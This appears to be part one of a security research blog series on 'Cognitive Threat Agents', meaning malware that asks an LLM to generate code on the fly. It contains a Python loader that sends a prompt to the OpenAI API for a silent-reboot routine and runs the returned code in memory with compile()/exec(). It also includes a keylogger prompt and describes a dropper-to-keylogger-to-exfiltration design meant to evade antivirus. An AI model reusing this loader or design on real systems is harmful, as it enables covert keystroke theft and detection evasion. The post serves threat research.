Introduction to Cognitive Threat Agents
NOTE: This is part 1 of the series on CTAs
End of 2022 saw an introduction of Chat Generative Pre-trained Transformer (ChatGPT), an OpenAI’s large language model chatbot that presented enormous potential of generative-AI to the mainstream public. Based on GPT-3.5 and GPT-4 models, ChatGPT provides an interface for prompt engineering, or natural-language instruction input for which model provides detailed response. Since model is trained on hundreds of billions of words that were crawled from vast depths of World-Wide-Web, one of distinguished features of GPT is the ability to generate computer code in various programming languages. Naturally, it didn’t take long for threat actors to notice this new capability and weaponize it so it can be used for malicious code production.
But objective of using AI in malware generation and execution is not only to derive malicious code for exploitation purposes. In order for malware to be categorized as cognitive, it has to be able to truly utilize data-based AI capabilities, meaning to be able to observe, adapt and learn through experience.
Unlike traditional malware, this next-generation of malicious programs can be observed by several characteristics:
· They can acquire knowledge by observing the environment and make informed decisions based on their goals and context.
· They can transform decisions into executable code in-memory and on-the-fly, without leaving any traces on the disk or network.
· They can refine their capabilities by learning according to the provided feedback, either from their own actions or from external sources.
· They can successfully evade detection (Sims 2023) by adapting to the defensive measures and concealing their malicious behaviour.
Therefore, CTAs are not just an update of existing malware capabilities nor another obfuscation technique for current malware development design concepts. With its revolutionary approach to the use of generative AI, they represent significant and alarming change in current and future threat landscape.
Proof of concept (AIGenKL)
As CTA samples can be rarely found in the wild, for the purpose of this research we decided to develop our own proof-of-concept code called AIGenKL that is heavily based on work of (HYAS 2023). During the design phase, for ethical reasons, it was decided not to incorporate weaponized toolset of contemporary malware, but rather to implement one functionality set that would mimic real-world malware capability (keylogger).
The beauty of GPT prompt engineering lies in possibility of instruction fine-tuning that can effectively result in code-generation variations for the same objective. The technique that follows simple proof of concept code is based on ideas of (Sims 2023) and (HYAS 2023). As an example, here are two variations of the returned code with same objective (gathering list of running processes on Windows host) with corresponding prompts:
PROMPT
Write Python 3 code that list all the processes currently running on a Windows machine.
RESPONSE
import psutil
def list_running_processes():
# Get a list of all running processes
running_processes = psutil.process_iter(attrs=['pid', 'name'])
# Print process details
for process in running_processes:
try:
pid = process.info['pid']
name = process.info['name']
print(f"Process ID: {pid}, Name: {name}")
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
if __name__ == "__main__":
list_running_processes()
PROMPT
Write Python 3 code that list all the processes currently running on a Windows machine. Do not use external modules and write the output to file "pslist.txt". Do not show anything on the screen.
RESPONSE
import subprocess
# Run the tasklist command to list all processes and redirect the output to pslist.txt
with open('pslist.txt', 'w') as out-put_file:
subprocess.run(['tasklist'], stdout=output_file, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
Above output also shows that dynamic code generation, combined with Python in-memory compilation and execution functionality via compile() and exec() functions, practically enables polymorphic change of code and possible successful detection evasion. Additionally, because the code is returned via reputable external source (OpenAI API) and filesystem of the host stays untouched, no red flags are raised, neither by firewall nor by anti-virus program. Take for example the following code:
import os
import openai
""" SHOULD NOT BE HERE. USE ENV INSTEAD."""
openai.api_key='XXXXXXXXXX'
sys_prompt = "You are the Python code assistant. Return only the code in the completion. I don't want any other comments. Don't say \"here is your code\" or similar remarks."
prompt_keylogger = "Create function \"logKey\" that captures keystrokes from the user in the background and saves them in a file \"keys.log\". Use esc key to stop. Do not use external modules."
prompt_reboot = "Create function \"reboot\" that, once executed, reboots Windows operating system without any notice or questions asked. Call function \"reboot\" at the end."
compl_keylogger = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{"role": "system", "content": sys_prompt},
{"role": "user", "content": prompt_keylogger},
],
temperature = 0,
)
compl_reboot = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{"role": "system", "content": sys_prompt},
{"role": "user", "content": prompt_reboot},
],
temperature = 0,
)
response1 = compl_reboot['choices'][0]['message']['content']
if response1 != 0:
lkey = compile(response1,'err','exec')
exec(lkey)In line 6. as part of prompt engineering, we are creating context for the instruction given as prompt at line 8. After we have requested the response (lines 11-20), we are compiling and executing code in-memory (lines 21-23) leading to immediate reboot of the machine. The code that GPT-3.5 generated and returned is the following one:
import os
def reboot():
os.system("shutdown /r /t 0")
reboot()
For the purpose of research we didn’t want to show weaponized example but the concept is quite clear. Possible scenario could include listing of running processes, extraction of binary names, finding and executing all possible published exploits for specific binary, etc. That routine could be executed every day, while at the same time updating list of locally-hosted exploits from the source code repositories such as GitHub. Threat actor could also try to elevate privileges by trial and error or even spread to other hosts in the network by exploiting known vulnerabilities of the operating system or other running services.
AIGenKL execution starts with dropper (or installer) that prompts OpenAI API for instant code generation of subroutine that would retrieve basic information about the host that sample has landed on via delivery method such as e-mail phishing or drive-by download. GPT generates the code and sends it back to control program which compiles and executes subroutine in memory. Based on the output of subroutine, control program decides that the next step is capture of user’s key strokes and prompts GPT to generate subroutine for keylogging. After code has been generated and returned, it is immediately compiled and executed. If compilation process returns an error, control program learns about it through returned error code and prompts for generation of the new code (this time with fine-tuning), and repeats the procedure. After payload gets compiled and executed, it runs for some time and new thread of execution ends with exfiltration of keystroke log file to CnC server. Control program returns to the observation phase and goes into loop until kill switch is received.
Stay tuned because in the next part on our introductory CTA journey we are going to discuss the anatomy of our PoC sample and conduct benchmark against EDR solutions.